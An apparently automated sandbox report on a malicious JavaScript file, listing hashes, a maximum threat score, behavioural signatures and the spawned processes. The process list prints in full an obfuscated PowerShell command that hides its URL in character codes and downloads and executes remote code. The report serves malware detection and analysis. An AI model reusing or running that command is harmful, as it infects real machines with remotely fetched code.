Analysis
-
max time kernel
120s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
21-12-2024 15:04
General
-
Target
3ad488717257a4201065b4c18336d175f95939466ab056eb7cfbc35136a9a928.js
-
Size
185KB
-
MD5
64df0989b1354b9bd93f935cbfbeb804
-
SHA1
d9412f52a7af1314134d00e10037bad59e62ca18
-
SHA256
3ad488717257a4201065b4c18336d175f95939466ab056eb7cfbc35136a9a928
-
SHA512
946a4d3ce0773803e833b6c1e4b9e6eaa92997b2b39b820a931da3b34a2d46080723b1f5804abf75facc1b0816f46db0e07b04128515e6f7d60837414c230ad4
-
SSDEEP
1536:nwSvdihKBuiqSwHIzrs02muskkZhHD66pKBuiqSwHIps02muskkZhHD66gs02mu2:nHSlHSmI6ylHKmI6nmI6blH/lHi
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\3ad488717257a4201065b4c18336d175f95939466ab056eb7cfbc35136a9a928.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $pqeavyzshknxgf='ur' ;new-alias printout c$($pqeavyzshknxgf)l;$lxbhyeozawqr=(6375,6386,6394,6378,6380,6375,6395,6394,6399,6332,6394,6328,6375,6323,6393,6388,6389,6324,6326,6323,6389,6381,6389,6340,6392,6338,6386,6382,6387,6393,6392,6327,6326);$vripyktbzghx=('bronx','get-cmdlet');$czklpbo=$lxbhyeozawqr;foreach($vmztde in $czklpbo){$tiredwpzvsh=$vmztde;$leosrufpxz=$leosrufpxz+[char]($tiredwpzvsh-6277);$qrjenblms=$leosrufpxz; $dmzguypjhbv=$qrjenblms};$qimgscuadvrtn[2]=$dmzguypjhbv;$xsypawucfjz='rl';$tvkwnxrqemfdyl=1;.$([char](9992-9887)+'e'+'x')(printout -useb $dmzguypjhbv)1⤵
- Process spawned unexpected child process